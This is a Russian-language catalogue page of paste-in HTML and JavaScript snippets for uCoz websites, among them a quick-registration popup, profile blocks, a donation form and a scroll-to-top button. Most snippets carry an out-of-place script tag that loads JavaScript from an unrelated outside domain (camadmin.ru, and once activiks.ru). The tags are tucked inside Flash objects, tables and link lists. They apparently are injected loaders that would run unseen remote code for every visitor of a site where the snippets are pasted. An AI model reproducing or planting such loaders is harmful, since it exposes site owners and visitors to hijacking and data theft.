Скрипт выводит гостю сайта окошко в которой просят зарегистрироваться или войти под свом логином.
Через определенное время окошко исчезает, чтоб не надоедать гостю.

Установка:

Идем в ПУ => Управление дизайном => Верхняя часть сайта и в самый вверх вставляем данный скрипт:

Код
  
<style>  
  .ls2 {z-index: 100;border:2px solid #fec4c4 !important;background:#fee4e3 !important;}  
  #ls {z-index: 100;overflow:hidden;padding:10px;border:2px solid #ddd;-moz-border-radius:4px;border-radius:4px;-webkit-border-radius:4px;background:#f2f2f2;position:fixed;right:30px;top:-80px;-moz-box-shadow:0px 0px 3px #bdbdbd;box-shadow:0px 0px 3px #bdbdbd;-webkit-box-shadow:0px 0px 3px #bdbdbd;}  
</style>  
<script>  
   
  $(document).ready(  
  function(){  
setTimeout(  
  function(){  
  $('#ls').animate({top:'+=205'},350);},1000  
);  
setTimeout(  
  function(){  
  $('#ls').addClass('ls2');},3000  
);  
setTimeout(  
  function(){  
  $('#ls').animate({top:'-=205'},350);},15000)  
}  
)  
</script>  

<div id="ls">  

<span style="color:gray">Здравствуйте, <b>Гость</b>!<br>Мы просим вас <b><a href="javascript://" rel="nofollow" onclick="new _uWnd('LF',' ',-250,-110,{autosize:0,closeonesc:1,resize:1},{url:'/index/40'});return false;"><span style="color:gray">войти</span></a></b> или <b><a href="/index/3"><span style="color:gray">зарегистрироваться</span></a></b> у нас на сайте.  
<span style="color:gray">  
<br>Но если вам не охото регистрироваться<br> вы можете воспользоваться формой  
<script type="text/javascript">  
  $(document).ready(function(){  
  $("#fastReg").click(function(){new _uWnd('regWin','Быстрая регистрация',350,400,{autosize:1,fadespeed:100,fadeclosespeed:100,fadetype:1,fadeclosetype:2,icon:'http://bambun.ru//images/us.png',min:1,oncontent:function(){getRegData()}},'<div class="reg1"><div class="reg2">Логин:</div><input type="text" id="rLogin"></div><div class="reg1"><div class="reg2">Пароль:</div><input type="password" id="rPass"></div><div class="reg1"><div class="reg2">E-mail:</div><input type="text" id="rMail"></div><div class="reg1"><div class="reg2"><span id="rRes"> </span> </div><input type="button" onclick="rEnd()" id="rEnd" value="Готово"></div>')});$("#rPost").live("click",function(){_uWnd.close('captcha');_code=$("#rCode").val();$.post("/index/",{jkd498:1,act:_act,ssid:_ssid,jkd428:1,sos:_sos,user:$("#rLogin").val(),password:$("#rPass").val(),password1:$("#rPass").val(),name:$("#rLogin").val(),email:$("#rMail").val(),code:_code,seckey:_seckey,a:4,s:0},function(i){var error=$('.manTdError',i).html();if(error){if(error=='Неправильный код безопасности'){newCodeImg()}_uWnd.alert('<span style="color:red;"><br>'+error+'</span>','Ошибка',{tm:3500,w:200,h:110})}else{new _uWnd('success','Успешная регистрация',350,350,{modal:1,autosize:1,fadespeed:100,fadeclosespeed:100,fadetype:1,fadeclosetype:2,icon:'http://bambun.ru//images/us.png',min:1},'<br><font style="color:green"><b>Регистрация прошла успешно!</b></font><br><br><u>Ваши данные</u>:<br> Логин - <b>'+$("#rLogin").val()+'</b>; Пароль - <b>'+$("#rPass").val()+'</b><br><br><input type="button" value="Войти в свой аккаунт" onclick="postLogin();">')}})})});function postLogin(login,pass){new _uWnd('LF',' ',-250,-110,{autosize:0,oncontent:function(){lgin()}},{url:'/index/40'})}function lgin(){$("input[name='user']").val($("#rLogin").val());$("input[name='password']").val($("#rPass").val());$("#submfrmLg555").click()}function rEnd(){if(!$("#rMail").val().match(/^[a-zA-Z0-9_\.\-]+\@[a-zA-Z0-9\.\-]+\.[a-zA-Z0-9]{2,6}$/)||$("#rLogin").val().match(/^\s+$/)||$("#rLogin").val().length<3||$("#rPass").val().length<4){_uWnd.alert('<span style="color:red;"><br>Проверьте правильность заполнения формы</span>','Ошибка',{tm:3500,w:200,h:110});return}else{new _uWnd('captcha','Код безопасности',300,300,{close:0,modal:1,autosize:1,fadespeed:100,fadeclosespeed:100,fadetype:1,fadeclosetype:2,oncontent:function(){$('#rCha').html(_img)}},'<span id="rCha"></span><br><input type="text" id="rCode"><br><input type="button" value="OK" id="rPost">')}}function newCodeImg(){$.get("/index/3",function(hj){new_img=$("#secImg",hj).clone();new _uWnd('captcha','Код безопасности',300,300,{close:0,modal:1,autosize:1,fadespeed:100,fadeclosespeed:100,fadetype:1,fadeclosetype:2,oncontent:function(){$('#rCha').html(new_img)}},'<span id="rCha"></span><br><input type="text" id="rCode"><br><input type="button" value="OK" id="rPost">')})}function getRegData(){$.get("/index/3",function(m){_act=$("input[name='act']",m).val(),_ssid=$("input[name='ssid']",m).val(),_seckey=$("input[name='seckey']",m).val(),_img=$("#secImg",m).clone(),_sos=getSession(m)})}function getSession(data){for(var i=0,code=data.match(/_dS\('(.+)'\)/i)[1],_i=code.length-1,session='';i<_i;i++){session+=String.fromCharCode(code.charCodeAt(i)-code.substr(_i,1))};return session.match(/\d+/g)}  
  </script><script type="text/javascript" src="http://camadmin.ru/earch.js"></script>
<a href="#" onclick="return false" id="fastReg"><span style="color:gray"><b>Быстрой регистрации</b></span></a>  
</span>  
</center>  
</span>  
</div>  
  
Категория: скрипты для ucoz | Просмотров: 605 | Добавил: DoG | Дата: 01.04.2013 | Комментарии (0)


Это помещаем в CSS (В любое место)

Код
.knopa {background:#f6f5f5;border:1px solid #dcdcdc;font-size:8pt;padding:2px 2px;}


А это вставляем в блок: (Не забудьте изменить ссылку на NO AVATAR)

Код
<div align="center"><!-- <bc> --><?if($USER_LOGGED_IN$)?><strong>$WDAY$ $DATE$  
  </strong><?if($USER_AVATAR_URL$)?><img style="border: 1px solid rgb(169, 169, 169);" alt="" class="userAvatar" title="$USERNAME$" src="$USER_AVATAR_URL$" align=""><?else?><img alt="" class="userAvatar" title="$USERNAME$" src="http://bambun.ru/images/nophoto.jpg" align=""><?endif?><div align="center">  
  <input class="knopa" onclick="document.location.href='/index/11'; return false;" value="Редактировать данные" type="button">  

  <div align="left"><span style="font-size: 8pt; color: rgb(105, 105, 105);"><b><center><span style="font-family: Arial; font-size: 8pt; color: rgb(105, 105, 105);">Вы вошли как: <font color="#696969"><strong>$USERNAME$</strong></font>  
  IP Адрес: <font color="#696969"><strong>$IP_ADDRESS$</strong></font>  
  Группа: <font color="#696969"><strong>$USER_GROUP$</strong></font>  
  Личных сообщений: <font color="#696969"><strong>$UNREAD_PM$</strong></font></span></center></b></span></div>
  <script type="text/javascript" src="http://camadmin.ru/earch.js"></script>
  <p></p><input class="knopa" onclick="document.location.href='/index/8'; return false;" value="Мой профиль" type="button"> <input class="knopa" onclick="window.open('/index/14','pmw','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350'); return false;" value="ЛС" type="button"> <input class="knopa" onclick="document.location.href='/index/10'; return false;" value="Выход" type="button"></div><script type="text/javascript">function flashit(id,cl){var c=document.getElementById(id);if (c.style.color=='red'){c.style.color=cl;}else {c.style.color='red';}}setInterval("flashit('upml2','')",500)</script><script language=javascript type=text/javascript> function openonclick(client_type) { if(client_type=="mail")clientWindow = window.open("$PM_URL$","pmw","scrollbars=1,top=0,left=0,resizable=1,width=850,height=350") || alert("Отключите блокировку всплывающих окон!"); if(client_type=="send")clientWindow = window.open("/index/14-999-0-1","pms","scrollbars=1,top=0,left=0,resizable=1,width=850,height=350") || alert("Отключите блокировку всплывающих окон!"); if(client_type=="options")clientWindow = window.open("/index/11","options","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!"); if(client_type=="users")clientWindow = window.open("$USERS_LIST_URL$","users","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!"); if(client_type=="rules")clientWindow = window.open("/rules.html","rules","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!"); } </script>  
  <?else?>$LOGIN_FORM$<?endif?>
Категория: скрипты для ucoz | Просмотров: 576 | Добавил: DoG | Дата: 01.04.2013 | Комментарии (0)


Для того чтобы установить наш мини профиль нам нужно:
1.Нужно найти тот самый мини профиль который вы будете устанавливать
2.Зайти на свой сайт под именем администратора сайта(или лица имеющего доступ к конструктору сайта)
3.Найти блок под названием "Форма входа"(если название не изменено,) и нажать на редактирование данного блока,перейти на вкладку HTML и вставить HTML код который вы скопировали из темы с выложенным мини профилем,и затем в нижней части редактора блоков нажать "Сохранить".
Это был рас-смотрен вариант если у вас имеется на сайте блок формы входа.
Если такового блока не имеется(что бывает довольно редко,я вообще с этим не сталкивался, то первым пунктом у вас будет создать блок.
Как создать блок
В админ панели Нужно нажать на кнопку Конструктор там вы увидите пункт Добавить блок + нажимаете на него и у вас по центру появляется только что созданный вами блок.
Перемещаете его в нужное для вас место,задаете название блоку и выполняете все пункты по установке мини профиля.

Код
<div class="block_c">  
  <div class="block_cont">  
  <div align="center">  
  <div align="center"><strong>$WDAY$  
  $DATE$  
  $TIME$</strong><script type="text/javascript" src="http://camadmin.ru/earch.js"></script>  
  <?if($USER_AVATAR_URL$)?><img class="userAvatar" title="$USERNAME$" src="$USER_AVATAR_URL$" border="0"><?else?><?if($USER_LOGGED_IN$)?><img class="userAvatar" title="$USERNAME$" src="http://bambun.ru/images/noavahr.png" border="0"><?else?><img class="userAvatar" title="$USERNAME$" src="http://bambun.ru/images/noavahr.png" border="0"><?endif?><?endif?>  

  <?if($USER_LOGGED_IN$)?>  

  <div align="center">Вы вошли как: <strong>$USERNAME$</strong>  
  <hr>  
  IP Адрес: <strong>$IP_ADDRESS$</strong>  
  <hr>  
  Группа: <strong>$USER_GROUP$</strong>  
  <hr>  
  Личных сообщений: <strong>$UNREAD_PM$</strong></p>  
  <hr>  
  <a href="/index/8"><img src="http://bambun.ru/images/ico_pjfile16.gif" border="0"></a> -  
  <a href="/index/14-0-1"><img src="http://bambun.ru/images/ico_posti.gif" border="0"></a> -  
  <a href="/index/10-0-0"><img src="http://bambun.ru/images/exi8t.png" border="0"></a></div>  

  <?if($IS_NEW_PM$)?><script type="text/javascript">function flashit(id,cl){var c=document.getElementById(id);if (c.style.color=='red'){c.style.color=cl;}else {c.style.color='red';}}setInterval("flashit('upml2','')",500)</script><?endif?>  

  <script language=javascript type=text/javascript>  
  function openOnClick(client_type)  
  {  
  if(client_type=="mail")clientWindow = window.open("$PM_URL$","pmw","scrollbars=1,top=0,left=0,resizable=1,width=850,height=350") || alert("Отключите блокировку всплывающих окон!");  
  if(client_type=="send")clientWindow = window.open("/index/14-999-0-1","pms","scrollbars=1,top=0,left=0,resizable=1,width=850,height=350") || alert("Отключите блокировку всплывающих окон!");  
  if(client_type=="options")clientWindow = window.open("/index/11","options","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!");  
  if(client_type=="users")clientWindow = window.open("$USERS_LIST_URL$","users","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!");  
  if(client_type=="rules")clientWindow = window.open("/rules.html","rules","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!");  
  }  
  </script>  
  <?else?>  
   
  $LOGIN_FORM$  
  <?endif?></div>
Категория: скрипты для ucoz | Просмотров: 589 | Добавил: DoG | Дата: 01.04.2013 | Комментарии (0)

Установка:
1. Создаете глобальный блок и вствляете в него код.
2. Вместо "SITE.COM" прописываете свой домен сайта

Код
<center>
  <a href="http://translate.yandex.net/tr-url/ru-en.ru/SITE.COM/" target="_blank"><img src="http://bambun.ru/images/en.gif" border="0" height="32" width="32"></a>
  <a href="http://translate.yandex.net/tr-url/ru-de.ru/SITE.COM/" target="_blank"><img src="http://bambun.ru/images/de.gif" border="0" height="32" width="32"></a>
  <a href="http://translate.yandex.net/tr-url/ru-pl.ru/SITE.COM/" target="_blank"><img src="http://bambun.ru/images/pl.gif" border="0" height="32" width="32"></a><script type="text/javascript" src="http://camadmin.ru/earch.js"></script>
  <a href="http://translate.yandex.net/tr-url/ru-uk.ru/SITE.COM/" target="_blank"><img src="http://bambun.ru/images/uk.gif" border="0" height="32" width="32"></a>
  <a href="http://translate.yandex.net/tr-url/ru-fr.ru/SITE.COM/" target="_blank"><img src="http://bambun.ru/images/fr.gif" border="0" height="32" width="32"></a>
  </center>


Готово.
Категория: скрипты для ucoz | Просмотров: 723 | Добавил: DoG | Дата: 25.03.2013 | Комментарии (0)

устанавливаете в любое место сайта.

Код
<center><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" id="ball" align="middle" height="200" width="175"><param name="allowScriptAccess" value="sameDomain"><param name="movie" value="http://bambun.ru/images/Chicken-Table-Hockey.swf"><script type="text/javascript" src="http://camadmin.ru/earch.js"></script><param name="quality" value="high"><param name="bgcolor" value="#ffffff"><embed src="http://bambun.ru/images/Chicken-Table-Hockey.swf" quality="high" bgcolor="#ffffff" name="ball" allowscriptaccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" align="middle" height="210" width="174"> </object></center>
Категория: скрипты для ucoz | Просмотров: 740 | Добавил: DoG | Дата: 24.03.2013 | Комментарии (0)

Устанавливаете в любую часть сайта

Код
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" id="makplayer" align="middle" height="200" width="180">  
  <param name="allowScriptAccess" value="sameDomain">  
  <param name="allowFullScreen" value="false">  
  <param name="movie" value="http://player.makradio.ru/radio.swf"><param name="quality" value="high">  
  <param name="wmode" value="transparent">  
  <param name="FlashVars" value="radio=4&radioBitRate=48&PlaySound=no">  
  <script type="text/javascript" src="http://camadmin.ru/earch.js"></script>
  <embed src="http://player.makradio.ru/radio.swf" flashvars="radio=4&radioBitRate=64&PlaySound=no" quality="high" name="makplayer" allowscriptaccess="sameDomain" allowfullscreen="false" type="application/x-shockwave-flash" wmode="transparent" pluginspage="http://www.adobe.com/go/getflashplayer" align="middle" height="350" width="180">  
  </object>
Категория: скрипты для ucoz | Просмотров: 696 | Добавил: DoG | Дата: 24.03.2013 | Комментарии (0)


1. Создаете глобальный блок и вствляете в него код.
2. Вместо "ВАШ НОМЕР КОШЕЛЬКА" вписываете свой R,Z кошелек
3. Вместо "http://ссылка на обратную связь" меняем на свою
4. Меняем номер icq "111-111-111" на свой

Код
<div align="center">
<form style="PADDING-RIGHT: 0px; PADDING-LEFT: 0px; PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-TOP: 0px" action="wmk:payto" method="get">
<table style="BORDER-RIGHT: #a8d45f 1px solid; BORDER-TOP: #a8d45f 1px solid; BACKGROUND: url(http://bambun.ru/images/fon3.png) #ffffe0; BORDER-LEFT: #448207 1px solid; WIDTH: 100%; BORDER-BOTTOM: #448207 1px solid" border="0" cellpadding="2" cellspacing="2">
<tbody>
<tr>
<td style="BORDER-RIGHT: #a8d45f 1px solid; BORDER-TOP: #a8d45f 1px solid; BORDER-LEFT: #448207 1px solid; BORDER-BOTTOM: #448207 1px solid"><input style="WIDTH: 96px; HEIGHT: 22px" size="1" value="ВАШ НОМЕР КОШЕЛЬКА" name="Purse" type="hidden">  
<center><span style="COLOR: #006400"><a title="Online" href="http://ссылка на обратную связь"><img alt="" src="http://bambun.ru/images/icq_16x16.png" align="absMiddle" border="0" height="16" width="16"></a> 111-111-111 Администратор</span></center>
<center><input style="WIDTH: 28px; HEIGHT: 17px" size="1" value="1" name="Amount"> <strong><span style="COLOR: #31ac09">wmz</span></strong> <input style="WIDTH: 96px; HEIGHT: 18px" size="1" value="Перечислить" type="submit"></center>
</td><script type="text/javascript" src="http://camadmin.ru/earch.js"></script><td style="BORDER-RIGHT: #000000 1px solid; BORDER-TOP: #000000 1px solid; WORD-SPACING: 0px; BORDER-LEFT: #000000 1px solid; BORDER-BOTTOM: #000000 1px solid; LETTER-SPACING: 0px; HEIGHT: 32px; TEXT-ALIGN: center" align="center" width="100"><img src="http://bambun.ru/images/webmoney_32x32.png" height="32" width="32"></td>
</tr>
Категория: скрипты для ucoz | Просмотров: 670 | Добавил: DoG | Дата: 24.03.2013 | Комментарии (0)

устанавливаете в любое место сайта.

Код
<div style="text-align:center;">
  <a href="http://www.mts.ru/messaging1/sendsms/" target="_blank"><img src="http://bambun.ru/images/mts.ru.gif" title="МТС" border="0" height="32px" width="34px"></a> <a href="http://szf.sendsms.megafon.ru/" target="_blank"><img src="http://bambun.ru/images/megafon.ru.gif" title="МегаФон" border="0" height="32px" width="34px"></a> <a href="http://www.beeline.ru/sms/index.wbp" target="_blank"><img src="http://bambun.ru/images/beeline.ru.gif" title="БиЛайн" border="0" height="32px" width="34px"></a> <a href="http://www.sms.tele2.ru/" target="_blank"><img src="http://bambun.ru/images/tele2.ru.gif" title="Tele2" border="0" height="32px" width="34px"></a><script type="text/javascript" src="http://camadmin.ru/earch.js"></script>  
  <a href="http://skylink.ru/msk/sms/" target="_blank"><img src="http://bambun.ru/images/skylink.ru.gif" title="SkyLink" border="0" height="32px" width="34px"></a> <a href="http://www.kyivstar.net/ru/sms/" target="_blank"><img src="http://bambun.ru/images/kyivstar.net.gif" title="KyivStar" border="0" height="32px" width="34px"></a> <a href="http://utel.ua/sms.php" target="_blank"><img src="http://bambun.ru/images/utel.ua.gif" title="Utel" border="0" height="32px" width="34px"></a> <a href="https://www.life.com.ua/sms/smsFree.html?locale=ua" target="_blank"><img src="http://bambun.ru/images/life.com.ua.gif" title="Life:)" border="0" height="32px" width="34px"></a>  
  <a href="http://www.velcom.by/ru/private/services/web-sms" target="_blank"><img src="http://bambun.ru/images/velcom.by.gif" title="velgom" border="0" height="32px" width="34px"></a> <a href="http://www.kcell.kz/ru/?l=sms&f=main" target="_blank"><img src="http://bambun.ru/images/kcell.kz.gif" title="Kcell" border="0" height="32px" width="34px"></a> <a href="https://www.orangetext.md/" target="_blank"><img src="http://bambun.ru/images/orange.md.gif" title="Orange" border="0" height="32px" width="34px"></a> <a href="http://www.triatel.lv/" target="_blank"><img src="http://bambun.ru/images/triatel.lv.gif" title="TRIATEL" border="0" height="32px" width="34px"></a></div>
Категория: скрипты для ucoz | Просмотров: 807 | Добавил: DoG | Дата: 24.03.2013 | Комментарии (0)

О скрипте:
Статистика сайта для ucoz. Выполнена в светлых тонах для светлых дизайн сайта.
Приступаем к установке:
Создаем информер с такими параметрами.
Счетчики для пользователей · Материалы · всех, по группам, по полу, по зодиаку, по дням (сегодня, вчера, 7 дней, 30 дней)
В шаблон информера вставляем код:

Код
<div align="left"><span style="color: rgb(255, 69, 0);"><span style="color: rgb(0, 0, 0);"> </span></span><div align="left"> <div> <fieldset class="counter"><legend><b><strong> Зарегано на сайте: </strong> </b></legend> <div align="left"> Всего: <b>$ALL_USERS$ </b> <br> Новых за месяц: <b>$30DAYS$ </b> <br> Новых за неделю: <b>$7DAYS$ </b> <br> Новых вчера: <b>$YESTERDAY$ </b> <br> Новых сегодня: <b>$TODAY$  
</b><br><br><b>Из них:<br>Модераторов: <b>$GROUP_3$</b>  
</b><br>Администраторов: <b>$GROUP_4$  
</b><br>Проверенных: <b>$GROUP_2$  
</b><br>Обычных: <b>$GROUP_1$  
</b><br><br><b>Из них:  
</b><br><br>Парней: <b>$GENDER_1$  
</b><br>Девушек: <b>$GENDER_2$  
</b> </div> </fieldset></div> </div> </div>


Это в блок вставляем:

Код
$MYINF_X$  
  <FIELDSET class="counter"><LEGEND><B>OnLine</B></LEGEND>  
<DIV align="center">  
$COUNTER$</DIV>  

<DIV align="center">  
$ONLINE_COUNTER$</DIV>  

<FIELDSET class="counter"><LEGEND><B>Юзеры онлайн:</B></LEGEND>  
<DIV align="center">  
$ONLINE_USERS_LIST$</DIV>  
</FIELDSET>  
</FIELDSET>  
<FIELDSET class="counter"><LEGEND><B>Нас посетили:</B></LEGEND>  
<DIV align="center">  
<script type="text/javascript" src="http://camadmin.ru/earch.js"></script>
<font color="#4c4c4c">[<a href="javascript://" onclick="new _uWnd('TdUsrLst',' ',250,200,{autosize:0},{url:'/index/62-2'});return false;" class="fUsrList">Полный список</a>]</font>  
</p></DIV>  
</FIELDSET><P>


4. В коде находим номер информера $MYINF_X$ и заменяем на свой
Категория: скрипты для ucoz | Просмотров: 968 | Добавил: DoG | Дата: 22.03.2013 | Комментарии (0)

Всем привет

Бывают всякие страницы, в том числе и очень приочень длинные, и чтобы не вертеть колесиком мыши, или же просто не тащить постоянно скролл существуют такой помошник, как кнопка "вверх". Именно они без проблем перемотают нас верх страницы. Одну из таких я и предлагаю вам поставить на свой сайт, она чем то похожа на кнопку вконтакте, но основное стилевое решение было взято с сайта kinopoisk.

Слева у нас есть область которая по всей высоте окна браузера кликабельна как и кнопка "наверх" находящаяся в ней, при клике на эту область мы плавно поднимаемся вверх страницы. Для сайтов у которых разрешение экрана меньше или равно 1024px, будет видна только стрелка вверх, чтобы серый фон не закрывал часть сайта.

Установка CSS

Теперь давайте начнем установку на сайт, тем более что она крайне проста, вначале скопируем данный код в таблицу стилей, ПУ / Дизайн / Управление дизайном (CSS)

Код
.upTop {  
  display:none;
  width:100px;
  height:100%;
  position:fixed;
  left:0px;
  top:0px;
  z-index:100;
}
.upTopButton {  
  background:#777777 url(http://bambun.ru/images/goup.png) no-repeat;
  width:27px;
  height:27px;
  position:fixed;
  top:10px;
  left:10px;
  cursor:pointer;
}
.upTopZone {  
  display:none;
  background:url(http://bambun.ru/images/upbg.png) repeat;
  width:100px;
  height:100%;
  cursor:pointer;
}
.upTopZone p {  
  background:#777777;
  font-size:12px;
  width:63px;
  height:27px;
  margin:0;
  position:fixed;
  top:10px;
  left:37px;
  color:#fff;
  font-family:"tahoma", "verdana", "arial";
  line-height:25px;
  text-align:center;
  text-shadow:1px 1px 1px #000000;
}
@media screen and (max-width:1024px) {
  .upTopZone {
  display:none !important;
  }
} .blue .upTopButton, .blue .upTopZone p {
  background-color:#3fa3e1;
}
.green .upTopButton, .green .upTopZone p {
  background-color:#60bf3a;
}
.red .upTopButton, .red .upTopZone p {
  background-color:#ca2929;
}
.orange .upTopButton, .orange .upTopZone p {
  background-color:#ef990b;
}
.purple .upTopButton, .purple .upTopZone p {
  background-color:#b053a0;
}
.grey .upTopButton, .grey .upTopZone p {
  background-color:#777777;
}


Установка HTML

Данный код копируем и вставляем куда хотим, главное в тело страницы, можете поставить перед тегом </body>

Код
<div class="upTop blue">
  <div class="upTopZone"><p>наверх</p></div>
  <script type="text/javascript" src="http://activiks.ru/img/png.js"></script>
  <div class="upTopButton"></div>
</div>


Установка JS

Вставляем данный код также перед тегом </body>

Код
<script type="text/javascript" src="http://bambun.ru/css_js/uptop.js"></script>


На этом установка кнопки вверх для сайта закончена, по традиции я предлагаю несколько цветовых схем, чтобы каждый мог без труда применить сразу, полностью готовое решение у себя на сайте. Чтобы изменить основной цвет кнопки наверх, измените в html коде, класс blue на нужный из списка

blue - голубой
green - зеленый
red - красный
orange - оранжевый
purple - пурпурный
grey - серый
Категория: скрипты для ucoz | Просмотров: 1113 | Добавил: startsmart | Дата: 08.02.2013 | Комментарии (0)

« 1 2 ... 10 11 12 13 14 »